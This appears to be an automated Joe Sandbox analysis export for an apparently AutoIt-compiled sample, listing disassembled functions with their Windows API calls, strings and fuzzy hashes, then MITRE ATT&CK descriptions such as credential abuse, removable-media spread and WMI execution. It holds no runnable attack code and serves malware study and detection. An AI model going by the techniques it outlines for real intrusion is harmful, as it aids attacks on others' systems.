Combobox, xrefs: 00DA9236

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 089dfb52dfab864d0c26168bc7bf81908429252d3cefc1c758291aac86423b68
Instruction ID: ed66f1ca6472133e5c217f829ffbece4a3154b806159a2bee016a42e2fc88267
Opcode Fuzzy Hash: 089dfb52dfab864d0c26168bc7bf81908429252d3cefc1c758291aac86423b68
Instruction Fuzzy Hash: 5511B271300209BFEF218E54DC90FBBB76AEB8A3A4F548125F9189B290D631DC518BB4

Function 00DA970B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00D5C619: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00D5C657
Part of subcall function 00D5C619: GetStockObject.GDI32(00000011), ref: 00D5C66B
Part of subcall function 00D5C619: SendMessageW.USER32(00000000,00000030,00000000), ref: 00D5C675

GetWindowRect.USER32(00000000,?), ref: 00DA9775
GetSysColor.USER32(00000012), ref: 00DA978F

Strings

static, xrefs: 00DA9752

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: a87096dba631342059469e0af9f15a2a6e155ccebafcf8e9393ec52cae0d556d
Instruction ID: 295daa1fe5bb6a03ac3b176f7730d3074b58648b79c803e8f5e82afa44b5e3f7
Opcode Fuzzy Hash: a87096dba631342059469e0af9f15a2a6e155ccebafcf8e9393ec52cae0d556d
Instruction Fuzzy Hash: 5211567252020AAFDB05DFB8CC45EEABBA8EB09304F054929F956E3240E635E851DB60

Function 00DA9424 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00DA94A6
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00DA94B5

Strings

edit, xrefs: 00DA948A

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: d392792fe5ec6dc1e6055f9353d468af4ff4ca0c6717405a55c9182fd6867439
Instruction ID: 01884c3d276d31176b858443fc14387f5cd4f3ec4a7d94d8221d971a6b702524
Opcode Fuzzy Hash: d392792fe5ec6dc1e6055f9353d468af4ff4ca0c6717405a55c9182fd6867439
Instruction Fuzzy Hash: 7E118C71100209AFEF108EA4DC90EEB7B6AEB0A378F108724F965971E0C7B5DC569B74

Function 00D85C80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D85CF3
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00D85D12

Strings

0, xrefs: 00D85CEC

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: e870286ad4b36e9b5352f5b3416a3990f3ead39bc68acff270af7cdadfadb4cd
Instruction ID: ce86d954617574c42850d0c78245fe7679359bc11b44b9ebf08b85cbfe3e91e9
Opcode Fuzzy Hash: e870286ad4b36e9b5352f5b3416a3990f3ead39bc68acff270af7cdadfadb4cd
Instruction Fuzzy Hash: 0E119076901618ABDB20EB58EC48B9977FDAB06344F1C0025ED41EB195D370EE44CBB1

Function 00D953F6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00D9544C
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00D95475

Strings

<local>, xrefs: 00D9543D

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: b95ad11ceb99ffbd5ca2d85c9b27827b847d599f0a1ae526a9e168b5e897a85b
Instruction ID: 8be0500c8550ec1388ae07c9ec9590637908de67526c241f77785fed6a4cf56b
Opcode Fuzzy Hash: b95ad11ceb99ffbd5ca2d85c9b27827b847d599f0a1ae526a9e168b5e897a85b
Instruction Fuzzy Hash: 60119E70141A22BADF668F51AC84EFAFAA8EF12752F10823AF54596044E270A990C7B1

Function 00D6B4BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00D74557
___raise_securityfailure.LIBCMT ref: 00D7463E

Strings

(, xrefs: 00D74639

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: (
API String ID: 3761405300-2982846942
Opcode ID: 134ab70f422990eccf98c17df2e03838c1107f6c204ffa60d3f33347792703da
Instruction ID: 24eda2c7820686196940c37dfb6d67bf330a3527407969f89e4ac400b7c625b2
Opcode Fuzzy Hash: 134ab70f422990eccf98c17df2e03838c1107f6c204ffa60d3f33347792703da
Instruction Fuzzy Hash: 7C2100B55102049FDB00DF5AE9957503BA0BB58314F20982AE508FA3A0E7F2A9CACB65

Function 00D9ACD3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52networkCOMMON

Download Yara Rule

APIs

inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 00D9ACF5
htons.WSOCK32(00000000,?,00000000), ref: 00D9AD32

Strings

255.255.255.255, xrefs: 00D9AD0D

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: htonsinet_addr
String ID: 255.255.255.255
API String ID: 3832099526-2422070025
Opcode ID: 1e49c08c2b40a591f183778a3a4cfeaee1f6dea3f5bc6bc671a06fb58324e590
Instruction ID: ba2df2d3a0a7634837fef17eda902bf3b5899b179cd60e2eff5d24a01297c471
Opcode Fuzzy Hash: 1e49c08c2b40a591f183778a3a4cfeaee1f6dea3f5bc6bc671a06fb58324e590
Instruction Fuzzy Hash: A901D236200306ABCF10AFA8CC86FADB365EF44720F10852AF9169B3D1E671E804C7B5

Function 00D7C577 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00D7C5E5

Strings

ComboBox, xrefs: 00D7C581
ListBox, xrefs: 00D7C5AF

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend_memmove
String ID: ComboBox$ListBox
API String ID: 1456604079-1403004172
Opcode ID: 30429c5c0e2e86c909629ab28114c130709db6ff70ab4803a5ef4b5c197148bd
Instruction ID: d91bc7ee82f79d46b4316e43a32c3e01fca2d011fda451196d9b287349684063
Opcode Fuzzy Hash: 30429c5c0e2e86c909629ab28114c130709db6ff70ab4803a5ef4b5c197148bd
Instruction Fuzzy Hash: 9F01D471651258AFCB08EBA4CC92CFE736AEF46310B144A19F467E72D1EB35A90C9770

Function 00D8C4D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D8C4EF
__fread_nolock.LIBCMT ref: 00D8C504

Strings

EA06, xrefs: 00D8C532

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 21080015654947e04fb2a77b902a6cfccfae62b116ec14ec1e3a1a9b9d8c2af7
Instruction ID: d1297ce3cb3d08781a0116f97108d80efc6dfef941259f388fd358d94f25af9a
Opcode Fuzzy Hash: 21080015654947e04fb2a77b902a6cfccfae62b116ec14ec1e3a1a9b9d8c2af7
Instruction Fuzzy Hash: 8301F172900218AEDB28DBA8C856EBEBBF8DB05311F00419AE593D6181E4B4E7088B70

Function 00D7C473 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

SendMessageW.USER32(?,00000180,00000000,?), ref: 00D7C4E1

Strings

ComboBox, xrefs: 00D7C47D
ListBox, xrefs: 00D7C4AB

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend_memmove
String ID: ComboBox$ListBox
API String ID: 1456604079-1403004172
Opcode ID: 7232c600418a55bfafc95550932373886bb43d5b8f87e2bd608987e2a2b74e2e
Instruction ID: a0c945db076423b0c28042c51f3772901d6533d00a809d79c07967944f7daaf2
Opcode Fuzzy Hash: 7232c600418a55bfafc95550932373886bb43d5b8f87e2bd608987e2a2b74e2e
Instruction Fuzzy Hash: C701A271651108AFCB04EBA4C9A3EFF73A9DF05305F144029B547E32C2EA54AE0D96B1

Function 00D7C4F6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

SendMessageW.USER32(?,00000182,?,00000000), ref: 00D7C562

Strings

ComboBox, xrefs: 00D7C500
ListBox, xrefs: 00D7C52E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend_memmove
String ID: ComboBox$ListBox
API String ID: 1456604079-1403004172
Opcode ID: 5bcb08a9c93f7dd9f56387b96ee605b54d11aec8169d3caf9e24f266fcbfdefa
Instruction ID: 0440d2ace739d67071f18031daac1d3687d5fcc9c905225f9c620ddb981e4610
Opcode Fuzzy Hash: 5bcb08a9c93f7dd9f56387b96ee605b54d11aec8169d3caf9e24f266fcbfdefa
Instruction Fuzzy Hash: 1201D171A51108AFCB04EBA4C953EFF73ADDB05701F149029B507F32C2EA65AE0D92B1

Function 00D8804C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00D8806A
_wcscmp.LIBCMT ref: 00D8807C

Strings

#32770, xrefs: 00D88076

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: a3d400c417cc86b0e12fb5c8b1933745f4e21ff6b44fb76f159031ccaeba422b
Instruction ID: 50f7635fdbf2db7acf9e68f8bed414e18630533e02caac4558c058021d9f821b
Opcode Fuzzy Hash: a3d400c417cc86b0e12fb5c8b1933745f4e21ff6b44fb76f159031ccaeba422b
Instruction Fuzzy Hash: B2E0D8336003292BD720EAA69C0AFE7FBACFB51764F010026F964E3141E6B0964587F4

Function 00D7B35D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00D7B36B

Part of subcall function 00D62011: _doexit.LIBCMT ref: 00D6201B

Strings

AutoIt, xrefs: 00D7B35F
Error allocating memory., xrefs: 00D7B364

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 7a8b19228dc547fb00cfd6c3b100373c9f9347b5f9564979bd4e3aabab5036e0
Instruction ID: 667e25b66e0ea36cb38cd93f01c964c6ead641434362f13d5b29aa4338f156cd
Opcode Fuzzy Hash: 7a8b19228dc547fb00cfd6c3b100373c9f9347b5f9564979bd4e3aabab5036e0
Instruction Fuzzy Hash: 90D012312C431837D21522D46C0BFD576888F15B55F054026BF4C962C29AD595C081B9

Function 00DBBC74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00DBBAB8
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00DBBCAB

Strings

WIN_XPe, xrefs: 00DBBACB

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: DirectoryFreeLibrarySystem
String ID: WIN_XPe
API String ID: 510247158-3257408948
Opcode ID: 7109e6e9fa262898554855540f38b3cdfed151311ae20c48f91305737779f941
Instruction ID: 1990164098af5eb5d4ba2319d2094003b8c9072b4fd1fad183422120939b83d4
Opcode Fuzzy Hash: 7109e6e9fa262898554855540f38b3cdfed151311ae20c48f91305737779f941
Instruction Fuzzy Hash: EBE0C970C0420EEFCB25DBA9CC49AECB7B9BB08301F148496E562B2160C7B19A44DF35

Function 00DA84C9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00DA84DF
PostMessageW.USER32(00000000), ref: 00DA84E6

Part of subcall function 00D88355: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00D883CD

Strings

Shell_TrayWnd, xrefs: 00DA84D8

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 64309be15245f323d49054bda17c9b81726b2bf20dcd062daa6f876af984a283
Instruction ID: 1f9d6d0071a0fc40c08c6e4731896ad740488211936c367d729f40c59a071cae
Opcode Fuzzy Hash: 64309be15245f323d49054bda17c9b81726b2bf20dcd062daa6f876af984a283
Instruction Fuzzy Hash: 1CD0C972384719BBE665A7709C4FFD67655AB18B11F060929734AEA2D0C9A0B804C774

Function 00DA8495 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00DA849F
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00DA84B2

Part of subcall function 00D88355: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00D883CD

Strings

Shell_TrayWnd, xrefs: 00DA8498

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 9245de2fed7af6e79ab8378ab768b0936f161991b95c3d6659e8adaff3a01aa2
Instruction ID: a9afb47475bc02305bd8202678926cf938f6fbe79585a801ca4a8d207dbedcbb
Opcode Fuzzy Hash: 9245de2fed7af6e79ab8378ab768b0936f161991b95c3d6659e8adaff3a01aa2
Instruction Fuzzy Hash: 11D0C972384719BBE665A7709C4FFD67A55AB14B11F060929734AEA2D0C9A0B804C770

Function 00D8D009 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00D8D01E
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00D8D035

Strings

aut, xrefs: 00D8D02F

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 450c98d5319cfce203244dcf4d8471e080b3ecfdaa0d8ed9303dbb05193854a3
Instruction ID: 323569bf4d74df9ed86e6ee3509bea2203ecd1f77ef0eea29502b467d6d0ab9f
Opcode Fuzzy Hash: 450c98d5319cfce203244dcf4d8471e080b3ecfdaa0d8ed9303dbb05193854a3
Instruction Fuzzy Hash: 57D05EB154030FBBDB10ABA0ED0EFA9BB6CA700704F1041A07714D50D1D2F0D6498BB4

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

